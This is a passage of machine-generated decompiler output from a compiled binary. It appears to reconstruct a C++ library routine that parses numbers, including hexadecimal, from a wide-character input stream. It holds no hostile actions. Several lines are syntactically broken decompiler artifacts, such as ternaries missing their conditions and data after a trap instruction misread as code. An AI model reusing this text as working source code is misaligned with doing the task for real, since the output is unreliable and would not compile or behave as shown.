							} else {
								_t521 =  *_t870 & 0x0000ffff;
							}
							_t531 = _t521 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L34;
							} else {
								 *(_t882 + 0xa) = _t521;
							}
						}
						 *(_t882 + 8) = 1;
					}
					_t517 =  *(_t882 + 0xa) & 0x0000ffff;
					if(_t517 != _a14) {
						__eflags = _t517 - _a12;
						_t1096 = _t1090;
						if(_t517 == _a12) {
							 *_t1090 = 0x2d;
							_t980 =  *_t882;
							__eflags = _t980;
							if(_t980 == 0) {
								goto L49;
							} else {
								_t866 =  *((intOrPtr*)(_t980 + 0x38));
								_t1036 =  *_t866;
								__eflags = _t1036;
								if(_t1036 == 0) {
									L46:
									_t519 =  *((intOrPtr*)( *_t980 + 0x40))();
								} else {
									_t1042 =  *((intOrPtr*)(_t980 + 0x50));
									_t600 =  *_t1042;
									__eflags = _t600;
									if(_t600 <= 0) {
										goto L46;
									} else {
										goto L45;
									}
								}
								goto L47;
							}
							goto L50;
						}
					} else {
						 *_t1090 = 0x2b;
						_t982 =  *_t882;
						if(_t982 == 0) {
							L49:
							 *_t882 = 0;
							_t518 = 1;
						} else {
							_t866 =  *((intOrPtr*)(_t982 + 0x38));
							_t1036 =  *_t866;
							if(_t1036 == 0) {
								L40:
								_t519 =  *((intOrPtr*)( *_t982 + 0x40))();
							} else {
								_t1042 =  *((intOrPtr*)(_t982 + 0x50));
								_t600 =  *_t1042;
								if(_t600 > 0) {
									L45:
									 *_t1042 = _t600 - 1;
									 *_t866 =  &(_t1036[1]);
									_t519 =  *_t1036 & 0x0000ffff;
								} else {
									goto L40;
								}
							}
							L47:
							if((_t519 & 0x0000ffff) == 0xffff) {
								goto L49;
							} else {
								_t518 = 0;
							}
						}
						L50:
						_t1096 = _t1090 + 1;
						 *(_t882 + 8) = _t518;
					}
				}
				 *_t1096 = 0x7830;
				_t895 =  *_t882;
				_t569 = 0;
				_t559 = 0;
				if(_t895 != 0) {
					_t864 =  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x38))));
					if(_t864 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x50)))) <= 0) {
						_t515 =  *((intOrPtr*)( *_t895 + 0x38))();
					} else {
						_t515 =  *_t864 & 0x0000ffff;
					}
					_t559 = 0;
					dil = (_t515 & 0x0000ffff) != 0xffff;
				}
				_t716 = _a96;
				_t896 =  *_t716;
				if(_t896 != 0) {
					_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x38))));
					if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x50)))) <= 0) {
						_t716 =  *_t896;
						_t513 = _t716[0x1c]();
					} else {
						_t513 =  *_t716 & 0x0000ffff;
					}
					_t569 = 0;
					sil = (_t513 & 0x0000ffff) != 0xffff;
				}
				if(_t559 == _t569) {
					L118:
					_t559 = 0;
				} else {
					if( *(_t882 + 8) == 0) {
						_t979 =  *_t882;
						if(_t979 == 0) {
							L72:
							 *_t882 = 0;
						} else {
							_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x38))));
							if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x50)))) <= 0) {
								_t716 =  *_t979;
								_t512 = _t716[0x1c]();
							} else {
								_t512 =  *_t716 & 0x0000ffff;
							}
							_t531 = _t512 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L72;
							} else {
								 *(_t882 + 0xa) = _t512;
							}
						}
						 *(_t882 + 8) = 1;
					}
					if(( *(_t882 + 0xa) & 0x0000ffff) != _v32) {
						goto L118;
					} else {
						_t972 =  *_t882;
						if(_t972 == 0) {
							L85:
							 *_t882 = 0;
							 *(_t882 + 8) = 1;
							goto L86;
						} else {
							_t856 =  *((intOrPtr*)(_t972 + 0x38));
							_t1031 =  *_t856;
							if(_t1031 == 0) {
								L79:
								_t508 =  *((intOrPtr*)( *_t972 + 0x40))();
							} else {
								_t1042 =  *((intOrPtr*)(_t972 + 0x50));
								_t598 =  *_t1042;
								if(_t598 <= 0) {
									goto L79;
								} else {
									 *_t1042 = _t598 - 1;
									 *_t856 =  &(_t1031[1]);
									_t508 =  *_t1031 & 0x0000ffff;
								}
							}
							if((_t508 & 0x0000ffff) == 0xffff) {
								goto L85;
							} else {
								_t977 =  *_t882;
								 *(_t882 + 8) = 0;
								if(_t977 == 0) {
									L86:
									_t595 = 0;
								} else {
									_t859 =  *((intOrPtr*)( *((intOrPtr*)(_t977 + 0x38))));
									if(_t859 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t977 + 0x50)))) <= 0) {
										_t510 =  *((intOrPtr*)( *_t977 + 0x38))();
									} else {
										_t510 =  *_t859 & 0x0000ffff;
									}
									_t595 = 0;
									sil = (_t510 & 0x0000ffff) != 0xffff;
								}
							}
						}
						_t716 = _a96;
						_t973 =  *_t716;
						if(_t973 == 0) {
							_t500 = 0;
							__eflags = 0;
						} else {
							_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t973 + 0x38))));
							if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t973 + 0x50)))) <= 0) {
								_t716 =  *_t973;
								_t506 = _t716[0x1c]();
							} else {
								_t506 =  *_t716 & 0x0000ffff;
							}
							_t531 = _t506 & 0x0000ffff;
							_t500 = 0 | _t531 != 0x0000ffff;
						}
						dil = 1;
						if(_t595 != _t500) {
							if( *(_t882 + 8) == 0) {
								_t976 =  *_t882;
								if(_t976 == 0) {
									L105:
									 *_t882 = 0;
								} else {
									_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t976 + 0x38))));
									if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t976 + 0x50)))) <= 0) {
										_t716 =  *_t976;
										_t505 = _t716[0x1c]();
									} else {
										_t505 =  *_t716 & 0x0000ffff;
									}
									_t531 = _t505 & 0x0000ffff;
									if(_t531 == 0xffff) {
										goto L105;
									} else {
										 *(_t882 + 0xa) = _t505;
									}
								}
								 *(_t882 + 8) = 1;
							}
							_t501 =  *(_t882 + 0xa) & 0x0000ffff;
							if(_t501 == _a18 || _t501 == _a16) {
								_t974 =  *_t882;
								if(_t974 == 0) {
									L116:
									 *_t882 = 0;
									_t502 = 1;
								} else {
									_t716 =  *((intOrPtr*)(_t974 + 0x38));
									_t1028 =  *_t716;
									if(_t1028 == 0) {
										L113:
										_t716 =  *_t974;
										_t503 = _t716[0x20]();
									} else {
										_t1042 =  *((intOrPtr*)(_t974 + 0x50));
										_t596 =  *_t1042;
										if(_t596 <= 0) {
											goto L113;
										} else {
											 *_t1042 = _t596 - 1;
											 *_t716 =  &(_t1028[1]);
											_t503 =  *_t1028 & 0x0000ffff;
										}
									}
									if((_t503 & 0x0000ffff) == 0xffff) {
										goto L116;
									} else {
										_t502 = 0;
									}
								}
								 *(_t882 + 8) = _t502;
								goto L118;
							}
						}
					}
				}
				_a108 = _t559;
				_a112 = _t1096 + 2;
				_t1058 =  >  ? _v80 :  &_v80;
				_t423 =  *_t1058;
				_v48 = _t1079;
				if(_t423 == 0x7f || _t423 <= 0) {
					_t1080 = _t1090;
					r13d = 0;
					_t1091 =  &_v34;
					r15d = 0;
					while(1) {
						_t897 =  *_t882;
						__eflags = _t897;
						_t560 = 0;
						if(_t897 == 0) {
							goto L146;
						}
						_t822 =  *((intOrPtr*)( *((intOrPtr*)(_t897 + 0x38))));
						__eflags = _t822;
						if(_t822 == 0) {
							L144:
							_t487 =  *((intOrPtr*)( *_t897 + 0x38))();
						} else {
							__eflags =  *( *(_t897 + 0x50));
							if( *( *(_t897 + 0x50)) <= 0) {
								goto L144;
							} else {
								_t487 =  *_t822 & 0x0000ffff;
							}
						}
						_t560 = 0;
						__eflags = (_t487 & 0x0000ffff) - 0xffff;
						dil = (_t487 & 0x0000ffff) != 0xffff;
						__eflags = dil;
						L146:
						_t898 =  *_a96;
						__eflags = _t898;
						if(_t898 == 0) {
							_t424 = 0;
							__eflags = _t560;
							if(_t560 != 0) {
								goto L152;
							} else {
							}
						} else {
							_t830 =  *((intOrPtr*)( *((intOrPtr*)(_t898 + 0x38))));
							__eflags = _t830;
							if(_t830 == 0) {
								L150:
								_t483 =  *((intOrPtr*)( *_t898 + 0x38))();
							} else {
								__eflags =  *( *(_t898 + 0x50));
								if( *( *(_t898 + 0x50)) <= 0) {
									goto L150;
								} else {
									_t483 =  *_t830 & 0x0000ffff;
								}
							}
							__eflags = (_t483 & 0x0000ffff) - 0xffff;
							_t424 = 0 | __eflags != 0x00000000;
							if(__eflags != 0) {
								L152:
								__eflags =  *(_t882 + 8);
								if( *(_t882 + 8) == 0) {
									_t950 =  *_t882;
									__eflags = _t950;
									if(_t950 == 0) {
										L162:
										 *_t882 = 0;
									} else {
										_t827 =  *((intOrPtr*)( *((intOrPtr*)(_t950 + 0x38))));
										__eflags = _t827;
										if(_t827 == 0) {
											L159:
											_t424 =  *((intOrPtr*)( *_t950 + 0x38))();
										} else {
											__eflags =  *( *(_t950 + 0x50));
											if( *( *(_t950 + 0x50)) <= 0) {
												goto L159;
											} else {
												_t424 =  *_t827 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L162;
										} else {
											 *(_t882 + 0xa) = _t424;
										}
									}
									 *(_t882 + 8) = 1;
								}
								_t532 =  *(_t882 + 0xa) & 0x0000ffff;
								_t718 = _t1091;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t550 =  *(_t718 + 2) & 0x0000ffff;
									_t718 = _t718 + 2;
									__eflags = _t550;
									if(_t550 == 0) {
										break;
									}
									__eflags = _t550 - _t532;
									if(_t550 != _t532) {
										continue;
									} else {
										break;
									}
									goto L171;
								}
								_t720 = _t718 -  &_v32 >> 1;
								__eflags = _t720 - 0x15;
								if(_t720 <= 0x15) {
									__eflags = r13d - 0x30;
									if(r13d < 0x30) {
										__eflags = r13d;
										if(r13d != 0) {
											L130:
											_t946 = _a112;
											 *_t946 =  *((intOrPtr*)(_t720 + "0123456789ABCDEFabcdef-+XxPp"));
											_a112 = _t946 + 1;
											r13d = r13d + 1;
											__eflags = r13d;
										} else {
											__eflags = _t720;
											if(_t720 != 0) {
												goto L130;
											} else {
												r13d = 0;
											}
										}
									} else {
										r15d = r15d + 1;
									}
									_t948 =  *_t882;
									__eflags = _t948;
									if(_t948 == 0) {
										L138:
										 *_t882 = 0;
										_t481 = 1;
									} else {
										_t824 =  *((intOrPtr*)(_t948 + 0x38));
										_t1018 =  *_t824;
										__eflags = _t1018;
										if(_t1018 == 0) {
											L135:
											_t485 =  *((intOrPtr*)( *_t948 + 0x40))();
										} else {
											_t1052 =  *((intOrPtr*)(_t948 + 0x50));
											_t590 =  *_t1052;
											__eflags = _t590;
											if(_t590 <= 0) {
												goto L135;
											} else {
												 *_t1052 = _t590 - 1;
												 *_t824 =  &(_t1018[1]);
												_t485 =  *_t1018 & 0x0000ffff;
											}
										}
										__eflags = (_t485 & 0x0000ffff) - 0xffff;
										if((_t485 & 0x0000ffff) == 0xffff) {
											goto L138;
										} else {
											_t481 = 0;
										}
									}
									 *(_t882 + 8) = _t481;
									_a108 = 1;
									continue;
								}
							}
						}
						_a88 = 0;
						_t1092 = _t1080;
						r12d = r15d;
						__eflags = _a108 & 0x00000001;
						if((_a108 & 0x00000001) != 0) {
							goto L169;
						}
						goto L171;
					}
				} else {
					r13d = 0;
					_a32 = _t1090;
					if(_v64 == 0) {
						_t424 = 0;
						__eflags = 0;
						_a88 = _t716;
					} else {
						_t853 =  *_t1079;
						_t424 =  *((intOrPtr*)(_t853 + 0x28))();
						_a88 = _t853;
					}
					_v40 = _t1058;
					_t1084 =  &_a48;
					_a48 = 0;
					asm("movaps xmm0, [0x358dd]");
					asm("movups [ebp+0x40], xmm0");
					_a84 = 0;
					r14d = 0;
					while(1) {
						_t951 =  *_t882;
						_t567 = 0;
						_t592 = 0;
						if(_t951 != 0) {
							_t841 =  *((intOrPtr*)( *((intOrPtr*)(_t951 + 0x38))));
							if(_t841 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t951 + 0x50)))) <= 0) {
								_t495 =  *((intOrPtr*)( *_t951 + 0x38))();
							} else {
								_t495 =  *_t841 & 0x0000ffff;
							}
							_t424 = _t495 & 0x0000ffff;
							_t592 = 0;
							sil = (_t495 & 0x0000ffff) != 0xffff;
						}
						_t832 = _a96;
						_t952 =  *_t832;
						if(_t952 != 0) {
							_t832 =  *((intOrPtr*)( *((intOrPtr*)(_t952 + 0x38))));
							if(_t832 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t952 + 0x50)))) <= 0) {
								_t832 =  *_t952;
								_t494 = _t832[0x1c]();
							} else {
								_t494 =  *_t832 & 0x0000ffff;
							}
							_t424 = _t494 & 0x0000ffff;
							_t567 = 0;
							dil = (_t494 & 0x0000ffff) != 0xffff;
						}
						if(_t592 == _t567) {
							break;
						}
						if( *(_t882 + 8) == 0) {
							_t970 =  *_t882;
							if(_t970 == 0) {
								L236:
								 *_t882 = 0;
							} else {
								_t832 =  *((intOrPtr*)( *((intOrPtr*)(_t970 + 0x38))));
								if(_t832 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t970 + 0x50)))) <= 0) {
									_t832 =  *_t970;
									_t493 = _t832[0x1c]();
								} else {
									_t493 =  *_t832 & 0x0000ffff;
								}
								_t531 = _t493 & 0x0000ffff;
								if(_t531 == 0xffff) {
									goto L236;
								} else {
									 *(_t882 + 0xa) = _t493;
								}
							}
							 *(_t882 + 8) = 1;
						}
						_t424 =  *(_t882 + 0xa) & 0x0000ffff;
						_t954 =  &_v34;
						asm("o16 nop [cs:eax+eax]");
						while(1) {
							_t555 =  *(_t954 + 2) & 0x0000ffff;
							_t954 = _t954 + 2;
							if(_t555 == 0) {
								break;
							}
							if(_t555 != _t424) {
								continue;
							} else {
							}
							break;
						}
						_t956 = _t954 -  &_v32 >> 1;
						if(_t956 > 0x15) {
							__eflags = _a72 - 0xf;
							_t958 =  <=  ? _t1084 : _a48;
							__eflags =  *((char*)(_t958 + _t1090));
							if( *((char*)(_t958 + _t1090)) == 0) {
								break;
							} else {
								__eflags = _a88;
								if(_a88 == 0) {
									break;
								} else {
									__eflags = _t424 - _a88;
									if(_t424 != _a88) {
										break;
									} else {
										_t1099 = _a64;
										__eflags = _t1099 - 0xfffffffe;
										if(_t1099 >= 0xfffffffe) {
											_t489 = L00430CE0(_t530, _t555, _t602, _t832, "string too long", _t1042, _t1058);
											asm("ud2");
											_t1060 = _t832;
											_t837 = _a72;
											__eflags = _t837 - 0x10;
											if(_t837 >= 0x10) {
												_t962 = _a48;
												__eflags = _t837 + 1 - 0x1000;
												if(_t837 + 1 >= 0x1000) {
													_t962 =  *((intOrPtr*)(_t962 - 8));
												}
												_t489 = E00402090(_t489, _t962);
											}
											_t838 = _v56;
											__eflags = _t838 - 0x10;
											if(_t838 >= 0x10) {
												_t961 = _v80;
												_t838 = _t838 + 1;
												__eflags = _t838 - 0x1000;
												if(_t838 >= 0x1000) {
													_t961 =  *((intOrPtr*)(_t961 - 8));
												}
												_t489 = E00402090(_t489, _t961);
											}
											E0044CEA0(_t489, _t1060);
											asm("ud2");
											 *0x44eb4d =  *0x44eb4d + r8b;
											 *_t838 =  *_t838 + 0x64;
											_t413 = _t838 - 0x6f6f6f70;
											 *_t413 =  *(_t838 - 0x6f6f6f70) + _t555;
											__eflags =  *_t413;
											_push(_t1062);
											return 0x64;
										} else {
											_t1100 = _t1099 + 1;
											r8d = 0;
											_t492 = E00404270(_t424,  &_a40, _t1100);
											__eflags = _t492;
											if(_t492 != 0) {
												__eflags = _a72 - 0xf;
												_t967 =  <=  ? _t1084 : _a48;
												 *((char*)(( <=  ? _t1084 : _a48) + _a64)) = 0;
												__eflags = _a72 - 0xf;
												_t847 =  <=  ? _t1084 : _a48;
												__eflags = _t847;
												_a64 = _t1100;
												 *((char*)(_t847 + _t1100)) = 0;
											}
											_t1090 = _t1090 + 1;
											goto L208;
										}
									}
								}
							}
						} else {
							if(r13d < 0x30) {
								__eflags = r13d;
								if(r13d != 0) {
									L205:
									_t968 = _a112;
									 *_t968 =  *((intOrPtr*)(_t956 + "0123456789ABCDEFabcdef-+XxPp"));
									_a112 = _t968 + 1;
									r13d = r13d + 1;
									__eflags = r13d;
								} else {
									__eflags = _t956;
									if(_t956 != 0) {
										goto L205;
									} else {
										r13d = 0;
									}
								}
							} else {
								_a84 = _a84 + 1;
							}
							_t850 =  <=  ? _t1084 : _a48;
							_t531 =  *(_t850 + _t1090);
							_a108 = 1;
							if(_t531 != 0x7f) {
								_t531 = _t531 + 1;
								 *(_t850 + _t1090) = _t531;
							}
							L208:
							_t964 =  *_t882;
							if(_t964 == 0) {
								L191:
								 *_t882 = 0;
								_t424 = 1;
								 *(_t882 + 8) = 1;
							} else {
								_t843 =  *((intOrPtr*)(_t964 + 0x38));
								_t1027 =  *_t843;
								if(_t1027 == 0) {
									L212:
									_t496 =  *((intOrPtr*)( *_t964 + 0x40))();
								} else {
									_t1042 =  *((intOrPtr*)(_t964 + 0x50));
									_t593 =  *_t1042;
									if(_t593 <= 0) {
										goto L212;
									} else {
										 *_t1042 = _t593 - 1;
										_t183 =  &(_t1027[1]); // 0x3
										 *_t843 = _t183;
										_t496 =  *_t1027 & 0x0000ffff;
									}
								}
								if((_t496 & 0x0000ffff) == 0xffff) {
									goto L191;
								} else {
									_t424 = 0;
									 *(_t882 + 8) = 0;
								}
							}
							continue;
						}
						goto L530;
					}
					__eflags = _t1090;
					if(_t1090 == 0) {
						_t592 = 0;
						__eflags = 0;
						goto L256;
					} else {
						__eflags = _a72 - 0xf;
						_t836 =  <=  ? _t1084 : _a48;
						_t553 =  *((intOrPtr*)(_t836 + _t1090));
						_t424 = 0;
						__eflags = _t553;
						_t547 = _t531 & 0xffffff00 | _t553 > 0x00000000;
						__eflags = _t553;
						sil = _t553 <= 0;
						__eflags = sil;
						if(sil <= 0) {
							L256:
							_t833 = _a72;
						} else {
							_t424 = _t547;
							_t1094 = _t1090 + _t836;
							__eflags = _t1094;
							if(_t1094 == 0) {
								goto L256;
							} else {
								_t833 = _a72;
								__eflags = _t833 - 0xf;
								_t1085 =  >  ? _a48 : _t1084;
								_t1053 = _v40;
								while(1) {
									_t548 =  *_t1053 & 0x000000ff;
									__eflags = _t548 - 0x7f;
									if(_t548 == 0x7f) {
										break;
									}
									__eflags = _t1094 - 1;
									_t554 =  *(_t1085 + _t1094 - 1) & 0x000000ff;
									if(_t1094 != 1) {
										__eflags = _t548 - _t554;
										if(_t548 != _t554) {
											goto L379;
										} else {
											goto L251;
										}
									} else {
										__eflags = _t548 - _t554;
										if(_t548 >= _t554) {
											L251:
											_t1094 = _t1094 - 1;
											__eflags =  *(_t1053 + 1);
											if( *(_t1053 + 1) > 0) {
												_t1053 = _t1053 + 1;
												__eflags = _t1053;
											}
											__eflags = _t1094;
											if(_t1094 != 0) {
												continue;
											} else {
												break;
											}
										} else {
											L379:
											sil = 1;
										}
									}
									goto L257;
								}
								_t592 = 0;
							}
						}
					}
					L257:
					__eflags = _t833 - 0x10;
					_t1092 = _a32;
					r12d = _a84;
					if(_t833 >= 0x10) {
						_t953 = _a48;
						__eflags = _t833 + 1 - 0x1000;
						if(_t833 + 1 >= 0x1000) {
							_t953 =  *((intOrPtr*)(_t953 - 8));
						}
						_t424 = E00402090(_t424, _t953);
					}
					_a88 = _t592;
					__eflags = _a108 & 0x00000001;
					if((_a108 & 0x00000001) != 0) {
						L169:
						__eflags = r13d;
						if(r13d == 0) {
							_t819 = _a112;
							 *_t819 = 0x30;
							_t820 = _t819 + 1;
							__eflags = _t820;
							_a112 = _t820;
						}
						goto L171;
					} else {
						L171:
						_t900 =  *_t882;
						_t570 = 0;
						__eflags = _t900;
						_t561 = 0;
						r15d = r12d;
						if(_t900 != 0) {
							_t817 =  *((intOrPtr*)( *((intOrPtr*)(_t900 + 0x38))));
							__eflags = _t817;
							if(_t817 == 0) {
								L175:
								_t479 =  *((intOrPtr*)( *_t900 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t900 + 0x50));
								if( *( *(_t900 + 0x50)) <= 0) {
									goto L175;
								} else {
									_t479 =  *_t817 & 0x0000ffff;
								}
							}
							_t424 = _t479 & 0x0000ffff;
							_t561 = 0;
							__eflags = (_t479 & 0x0000ffff) - 0xffff;
							dil = (_t479 & 0x0000ffff) != 0xffff;
							__eflags = dil;
						}
						_t901 =  *_a96;
						__eflags = _t901;
						if(_t901 != 0) {
							_t814 =  *((intOrPtr*)( *((intOrPtr*)(_t901 + 0x38))));
							__eflags = _t814;
							if(_t814 == 0) {
								L181:
								_t478 =  *((intOrPtr*)( *_t901 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t901 + 0x50));
								if( *( *(_t901 + 0x50)) <= 0) {
									goto L181;
								} else {
									_t478 =  *_t814 & 0x0000ffff;
								}
							}
							_t424 = _t478 & 0x0000ffff;
							_t570 = 0;
							__eflags = (_t478 & 0x0000ffff) - 0xffff;
							sil = (_t478 & 0x0000ffff) != 0xffff;
							__eflags = sil;
						}
						__eflags = _t561 - _t570;
						if(_t561 == _t570) {
							L274:
							__eflags = r13d;
							if(r13d == 0) {
								goto L284;
							}
						} else {
							__eflags =  *(_t882 + 8);
							_t1050 = _v48;
							if( *(_t882 + 8) == 0) {
								_t944 =  *_t882;
								__eflags = _t944;
								if(_t944 == 0) {
									L266:
									 *_t882 = 0;
								} else {
									_t811 =  *((intOrPtr*)( *((intOrPtr*)(_t944 + 0x38))));
									__eflags = _t811;
									if(_t811 == 0) {
										L263:
										_t477 =  *((intOrPtr*)( *_t944 + 0x38))();
									} else {
										__eflags =  *( *(_t944 + 0x50));
										if( *( *(_t944 + 0x50)) <= 0) {
											goto L263;
										} else {
											_t477 =  *_t811 & 0x0000ffff;
										}
									}
									__eflags = (_t477 & 0x0000ffff) - 0xffff;
									if((_t477 & 0x0000ffff) == 0xffff) {
										goto L266;
									} else {
										 *(_t882 + 0xa) = _t477;
									}
								}
								 *(_t882 + 8) = 1;
							}
							_t806 =  *_t1050;
							_t424 =  *((intOrPtr*)(_t806 + 0x20))();
							__eflags = ( *(_t882 + 0xa) & 0x0000ffff) - _t424;
							if(( *(_t882 + 0xa) & 0x0000ffff) != _t424) {
								r12d = r15d;
								goto L274;
							} else {
								E0043DFF0(_t424);
								 *_a112 =  *((intOrPtr*)( *_t806));
								_t942 =  *_t882;
								__eflags = _t942;
								r12d = r15d;
								if(_t942 == 0) {
									L279:
									 *_t882 = 0;
									_t424 = 1;
								} else {
									_t808 =  *((intOrPtr*)(_t942 + 0x38));
									_t1014 =  *_t808;
									__eflags = _t1014;
									if(_t1014 == 0) {
										L276:
										_t475 =  *((intOrPtr*)( *_t942 + 0x40))();
										r12d = r15d;
									} else {
										_t1051 =  *((intOrPtr*)(_t942 + 0x50));
										_t588 =  *_t1051;
										__eflags = _t588;
										if(_t588 <= 0) {
											goto L276;
										} else {
											 *_t1051 = _t588 - 1;
											 *_t808 =  &(_t1014[1]);
											_t475 =  *_t1014 & 0x0000ffff;
										}
									}
									__eflags = (_t475 & 0x0000ffff) - 0xffff;
									if((_t475 & 0x0000ffff) == 0xffff) {
										goto L279;
									} else {
										_t424 = 0;
									}
								}
								_a112 = _a112 + 1;
								 *(_t882 + 8) = _t424;
								__eflags = r13d;
								if(r13d == 0) {
									while(1) {
										L284:
										_t935 =  *_t882;
										_t584 = 0;
										__eflags = _t935;
										_t566 = 0;
										if(_t935 == 0) {
											goto L290;
										}
										_t796 =  *((intOrPtr*)( *((intOrPtr*)(_t935 + 0x38))));
										__eflags = _t796;
										if(_t796 == 0) {
											L288:
											_t470 =  *((intOrPtr*)( *_t935 + 0x38))();
										} else {
											__eflags =  *( *(_t935 + 0x50));
											if( *( *(_t935 + 0x50)) <= 0) {
												goto L288;
											} else {
												_t470 =  *_t796 & 0x0000ffff;
											}
										}
										_t424 = _t470 & 0x0000ffff;
										_t566 = 0;
										__eflags = (_t470 & 0x0000ffff) - 0xffff;
										dil = (_t470 & 0x0000ffff) != 0xffff;
										__eflags = dil;
										L290:
										_t936 =  *_a96;
										__eflags = _t936;
										if(_t936 != 0) {
											_t804 =  *((intOrPtr*)( *((intOrPtr*)(_t936 + 0x38))));
											__eflags = _t804;
											if(_t804 == 0) {
												L294:
												_t469 =  *((intOrPtr*)( *_t936 + 0x38))();
											} else {
												__eflags =  *( *(_t936 + 0x50));
												if( *( *(_t936 + 0x50)) <= 0) {
													goto L294;
												} else {
													_t469 =  *_t804 & 0x0000ffff;
												}
											}
											_t424 = _t469 & 0x0000ffff;
											_t584 = 0;
											__eflags = (_t469 & 0x0000ffff) - 0xffff;
											sil = (_t469 & 0x0000ffff) != 0xffff;
											__eflags = sil;
										}
										__eflags = _t566 - _t584;
										if(_t566 != _t584) {
											__eflags =  *(_t882 + 8);
											if( *(_t882 + 8) == 0) {
												_t939 =  *_t882;
												__eflags = _t939;
												if(_t939 == 0) {
													L305:
													 *_t882 = 0;
												} else {
													_t801 =  *((intOrPtr*)( *((intOrPtr*)(_t939 + 0x38))));
													__eflags = _t801;
													if(_t801 == 0) {
														L302:
														_t468 =  *((intOrPtr*)( *_t939 + 0x38))();
													} else {
														__eflags =  *( *(_t939 + 0x50));
														if( *( *(_t939 + 0x50)) <= 0) {
															goto L302;
														} else {
															_t468 =  *_t801 & 0x0000ffff;
														}
													}
													__eflags = (_t468 & 0x0000ffff) - 0xffff;
													if((_t468 & 0x0000ffff) == 0xffff) {
														goto L305;
													} else {
														 *(_t882 + 0xa) = _t468;
													}
												}
												 *(_t882 + 8) = 1;
											}
											_t424 =  *(_t882 + 0xa) & 0x0000ffff;
											__eflags = ( *(_t882 + 0xa) & 0x0000ffff) - _v32;
											if(( *(_t882 + 0xa) & 0x0000ffff) == _v32) {
												_t937 =  *_t882;
												__eflags = _t937;
												if(_t937 == 0) {
													L315:
													 *_t882 = 0;
													_t467 = 1;
													goto L282;
												} else {
													_t798 =  *((intOrPtr*)(_t937 + 0x38));
													_t1010 =  *_t798;
													__eflags = _t1010;
													if(_t1010 == 0) {
														L312:
														_t471 =  *((intOrPtr*)( *_t937 + 0x40))();
													} else {
														_t1049 =  *((intOrPtr*)(_t937 + 0x50));
														_t585 =  *_t1049;
														__eflags = _t585;
														if(_t585 <= 0) {
															goto L312;
														} else {
															 *_t1049 = _t585 - 1;
															 *_t798 =  &(_t1010[1]);
															_t471 =  *_t1010 & 0x0000ffff;
														}
													}
													__eflags = (_t471 & 0x0000ffff) - 0xffff;
													if((_t471 & 0x0000ffff) == 0xffff) {
														goto L315;
													} else {
														_t467 = 0;
														L282:
														 *(_t882 + 8) = _t467;
														r12d = r12d - 1;
														__eflags = r12d;
														_t424 = 1;
														_a108 = 1;
														continue;
													}
												}
											}
										}
										__eflags = r12d;
										if(r12d < 0) {
											_t793 = _a112;
											 *_t793 = 0x30;
											_a112 = _t793 + 1;
											r12d = r12d + 1;
											__eflags = r12d;
										}
										r15d = r12d;
										goto L319;
									}
								}
							}
						}
						L319:
						_t1081 =  &_v34;
						while(1) {
							L332:
							_t902 =  *_t882;
							_t571 = 0;
							__eflags = _t902;
							_t562 = 0;
							if(_t902 == 0) {
								goto L338;
							}
							_t782 =  *((intOrPtr*)( *((intOrPtr*)(_t902 + 0x38))));
							__eflags = _t782;
							if(_t782 == 0) {
								L336:
								_t466 =  *((intOrPtr*)( *_t902 + 0x38))();
							} else {
								__eflags =  *( *(_t902 + 0x50));
								if( *( *(_t902 + 0x50)) <= 0) {
									goto L336;
								} else {
									_t466 =  *_t782 & 0x0000ffff;
								}
							}
							_t424 = _t466 & 0x0000ffff;
							_t562 = 0;
							__eflags = (_t466 & 0x0000ffff) - 0xffff;
							dil = (_t466 & 0x0000ffff) != 0xffff;
							__eflags = dil;
							L338:
							_t903 =  *_a96;
							__eflags = _t903;
							if(_t903 != 0) {
								_t790 =  *((intOrPtr*)( *((intOrPtr*)(_t903 + 0x38))));
								__eflags = _t790;
								if(_t790 == 0) {
									L342:
									_t465 =  *((intOrPtr*)( *_t903 + 0x38))();
								} else {
									__eflags =  *( *(_t903 + 0x50));
									if( *( *(_t903 + 0x50)) <= 0) {
										goto L342;
									} else {
										_t465 =  *_t790 & 0x0000ffff;
									}
								}
								_t424 = _t465 & 0x0000ffff;
								_t571 = 0;
								__eflags = (_t465 & 0x0000ffff) - 0xffff;
								sil = (_t465 & 0x0000ffff) != 0xffff;
								__eflags = sil;
							}
							__eflags = _t562 - _t571;
							if(_t562 != _t571) {
								__eflags =  *(_t882 + 8);
								if( *(_t882 + 8) == 0) {
									_t934 =  *_t882;
									__eflags = _t934;
									if(_t934 == 0) {
										L353:
										 *_t882 = 0;
									} else {
										_t787 =  *((intOrPtr*)( *((intOrPtr*)(_t934 + 0x38))));
										__eflags = _t787;
										if(_t787 == 0) {
											L350:
											_t424 =  *((intOrPtr*)( *_t934 + 0x38))();
										} else {
											__eflags =  *( *(_t934 + 0x50));
											if( *( *(_t934 + 0x50)) <= 0) {
												goto L350;
											} else {
												_t424 =  *_t787 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L353;
										} else {
											 *(_t882 + 0xa) = _t424;
										}
									}
									 *(_t882 + 8) = 1;
								}
								_t541 =  *(_t882 + 0xa) & 0x0000ffff;
								_t778 = _t1081;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t552 =  *(_t778 + 2) & 0x0000ffff;
									_t778 = _t778 + 2;
									__eflags = _t552;
									if(_t552 == 0) {
										break;
									}
